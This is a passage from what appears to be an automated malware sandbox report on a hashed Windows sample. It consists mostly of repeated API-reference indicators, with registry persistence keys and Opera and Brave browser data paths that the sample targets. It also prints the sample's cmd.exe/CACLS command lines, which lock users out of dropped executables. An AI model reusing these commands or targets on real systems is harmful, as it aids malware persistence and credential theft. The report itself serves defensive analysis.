"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetVolumeInformationA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "WaitForSingleObject"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetCurrentDirectoryA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "FreeResource"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetVersion"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SetCurrentDirectoryA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetTempPathA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "LocalFileTimeToFileTime"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "CreateFileA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SetEvent"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "TerminateThread"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetVersionExA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "LockResource"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetSystemInfo"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "CreateThread"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "ResetEvent"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "LoadResource"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "ExitProcess"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetModuleHandleW"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "CreateProcessA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "FormatMessageA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetTempFileNameA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "DosDateTimeToFileTime"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "CreateEventA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetExitCodeProcess"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetDeviceCaps"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetDesktopWindow"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "CharUpperA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "ExitWindowsEx"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "MessageBeep"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "CharPrevA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "LoadStringA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "CharNextA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "EnableWindow"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "ReleaseDC"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SetForegroundWindow"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "PeekMessageA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SendMessageA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "MessageBoxA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SetWindowTextA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetWindowLongA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "CallWindowProcA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SetWindowLongA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "ShowWindow"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SetWindowPos"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetDC"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetWindowRect"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "DispatchMessageA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "VerQueryValueA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetFileVersionInfoA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "Sleep"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetStartupInfoW"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "UnhandledExceptionFilter"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "TerminateProcess"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "QueryPerformanceCounter"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetCurrentProcessId"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetCurrentThreadId"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetTickCount"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "EnumResourceLanguagesA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetDiskFreeSpaceA"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "MulDiv"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "GetSystemMetrics"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API (Indicator: "FlsSetValue"; File: "00000000-00006964.00000002.74696.01011000.00000020.mdmp") Found reference to API (Indicator: "FlsGetValue"; File: "00000000-00006964.00000002.74696.01011000.00000020.mdmp") Found reference to API (Indicator: "Local State"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found reference to API (Indicator: "GetLogicalDrives"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found reference to API (Indicator: "MessageBox"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found reference to API (Indicator: "LoadLibrary"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectory"; File: "00000000-00005900.00000001.74994.00942000.00000002.mdmp") Found reference to API (Indicator: "CryptDecrypt"; Source: "00000000-00001620.00000000.70100.00B40000.00000004.mdmp") Found reference to API (Indicator: "CheckTokenMembership"; Source: "00000000-00001620.00000000.70100.013D1000.00000020.mdmp") Found reference to API (Indicator: "HeapSetInformation"; Source: "00000000-00001620.00000000.70100.013D1000.00000020.mdmp") Found reference to API (Indicator: "DecryptFileA"; Source: "00000000-00001620.00000000.70100.013D1000.00000020.mdmp") Found reference to API (Indicator: "SHBrowseForFolder"; Source: "00000000-00001620.00000000.70100.013D8000.00000004.mdmp") Found reference to API (Indicator: "SHGetPathFromIDList"; Source: "00000000-00001620.00000000.70100.013D8000.00000004.mdmp") Found reference to API (Indicator: "GetTokenInformation"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "RegDeleteValueA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "RegOpenKeyExA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryInfoKeyA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "FreeSid"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "OpenProcessToken"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "RegSetValueExA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "RegCreateKeyExA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "LookupPrivilegeValueA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "AllocateAndInitializeSid"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "RegQueryValueExA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "EqualSid"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "RegCloseKey"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "AdjustTokenPrivileges"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetShortPathNameA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleFileNameA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "FindFirstFileA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcess"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "FindNextFileA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "ExpandEnvironmentStringsA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "FindClose"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "LocalAlloc"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "lstrcmpA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "CompareStringA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetLastError"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileAttributesA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemDirectoryA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "DeleteFileA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GlobalAlloc"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GlobalFree"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "CloseHandle"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "WritePrivateProfileStringA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "IsDBCSLeadByte"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowsDirectoryA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "SetFileAttributesA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetProcAddress"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GlobalLock"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "LocalFree"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "RemoveDirectoryA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "FreeLibrary"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "CreateDirectoryA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileIntA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetPrivateProfileStringA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GlobalUnlock"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "ReadFile"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "SizeofResource"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "WriteFile"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetDriveTypeA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "LoadLibraryExA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "SetFileTime"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "SetFilePointer"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "FindResourceA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "CreateMutexA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetVolumeInformationA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "WaitForSingleObject"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentDirectoryA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "FreeResource"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetVersion"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "SetCurrentDirectoryA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetTempPathA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "LocalFileTimeToFileTime"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "CreateFileA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "SetEvent"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "TerminateThread"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetVersionExA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "LockResource"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemInfo"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "CreateThread"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "ResetEvent"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "LoadResource"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "ExitProcess"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetModuleHandleW"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "CreateProcessA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "FormatMessageA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetTempFileNameA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "DosDateTimeToFileTime"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "CreateEventA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetExitCodeProcess"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetDeviceCaps"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetDesktopWindow"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "CharUpperA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "ExitWindowsEx"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "MessageBeep"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "CharPrevA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "LoadStringA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "CharNextA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "EnableWindow"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "ReleaseDC"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "SetForegroundWindow"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "PeekMessageA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "SendMessageA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "MessageBoxA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowTextA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowLongA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "CallWindowProcA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowLongA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "ShowWindow"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "MsgWaitForMultipleObjects"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "SetWindowPos"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetDC"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetWindowRect"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "DispatchMessageA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoSizeA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "VerQueryValueA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetFileVersionInfoA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "Sleep"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetStartupInfoW"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "UnhandledExceptionFilter"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "SetUnhandledExceptionFilter"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "TerminateProcess"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "QueryPerformanceCounter"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentProcessId"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetCurrentThreadId"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemTimeAsFileTime"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetTickCount"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "EnumResourceLanguagesA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetDiskFreeSpaceA"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "MulDiv"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API (Indicator: "GetSystemMetrics"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp")36:T567,Found reference to API "SizeofResource" (Indicator: "SizeofResource"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "FindResourceA" (Indicator: "FindResource"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "FreeResource" (Indicator: "FreeResource"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "LockResource" (Indicator: "LockResource"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "LoadResource" (Indicator: "LoadResource"; File: "121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf") Found reference to API "SizeofResource" (Indicator: "SizeofResource"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "FindResourceA" (Indicator: "FindResource"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "FreeResource" (Indicator: "FreeResource"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "LockResource" (Indicator: "LockResource"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp") Found reference to API "LoadResource" (Indicator: "LoadResource"; Source: "00000000-00001620.00000000.70100.013DA000.00000002.mdmp")37:T72e,"Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf "DSystem\CurrentControlSet\Control\Session Manager" in Source: 121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: 121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf "System\CurrentControlSet\Control\Session Manager" in Source: 48079-17-0040256D "%APPDATA%\Opera Software\*" in Source: 00000000-00005900-00000C28-51550154441 "%LOCALAPPDATA%\BraveSoftware\Brave-Browser\User Data\*" in Source: 00000000-00005900-00000C28-51929625389 "SYSTEM\CurrentControlSet\Control\MiniNT" in Source: 46442-7-01368190 "SOFTWARE\Microsoft\PowerShell\%1!ls!" in Source: 46442-7-01368190 "SOFTWARE\Microsoft\PowerShell\%1!ls!\PowerShellEngine" in Source: 46442-7-01368190 "SOFTWARE\Microsoft\PowerShell\3" in Source: 46442-10-0136BFA2 "8355-1207367261-1001\Software\Mi" in Source: 00000000-00001620.00000000.70100.007A8000.00000004.mdmp "\Registry\MACHINE\Software\Microsoft\Windows\CurrentVersion\SideBySide" in Source: 00000000-00001620.00000000.70100.00A90000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\App Paths" in Source: 00000000-00001620.00000000.70100.013D1000.00000020.mdmp "System\CurrentControlSet\Control\Session Manager" in Source: 00000000-00001620.00000000.70100.013D8000.00000004.mdmp "Software\Microsoft\Windows\CurrentVersion\RunOnce" in Source: 00000000-00001620.00000000.70100.013D8000.00000004.mdmp "System\CurrentControlSet\Control\Session Manager\FileRenameOperations" in Source: 00000000-00001620.00000000.70100.013D8000.00000004.mdmp38:T40c,Process "%WINDIR%\SysWOW64\cmd.exe" with commandline "/k echo Y|CACLS "explonde.exe" /P "%OSUSER%:N"&&CACLS "explonde.exe" /P "%OSUSER%:R" /E&&echo Y|CACLS "..\\fefffe8cea" /P "%OSUSER%:N"&&CACLS "..\\fefffe8cea" /P "%OSUSER%:R" /E&&Exit" (UID: 00000000-00006668) Process "%WINDIR%\SysWOW64\cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00003764) Process "%WINDIR%\SysWOW64\cmd.exe" with commandline "/k echo Y|CACLS "legota.exe" /P "%OSUSER%:N"&&CACLS "legota.exe" /P "%OSUSER%:R" /E&&echo Y|CACLS "..\\cb378487cf" /P "%OSUSER%:N"&&CACLS "..\\cb378487cf" /P "%OSUSER%:R" /E&&Exit" (UID: 00000000-00004820) Process "%WINDIR%\SysWOW64\cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00007304) Process "%WINDIR%\SysWOW64\cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00003992) Process "%WINDIR%\SysWOW64\cmd.exe" with commandline "%WINDIR%\\system32\\cmd.exe /S /D /c" echo Y"" (UID: 00000000-00003944)39:Tf73,"121d34fe68492c95fc0c07b5cf0bf2e05dede7756821260fe21db7fecf431baf" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "foto7447.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "x8060195.exe" has flags like IMAGE_DLLCHARACTERISTICS_GUARD_CF IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "j0508220.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "exto_1_.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE IMAGE_DLLCHARACTERISTICS_NX_COMPAT "g5335915.exe" has flags like IMAGE_DLLCHARACTERISTICS_TERMINAL_SERVER_AWARE 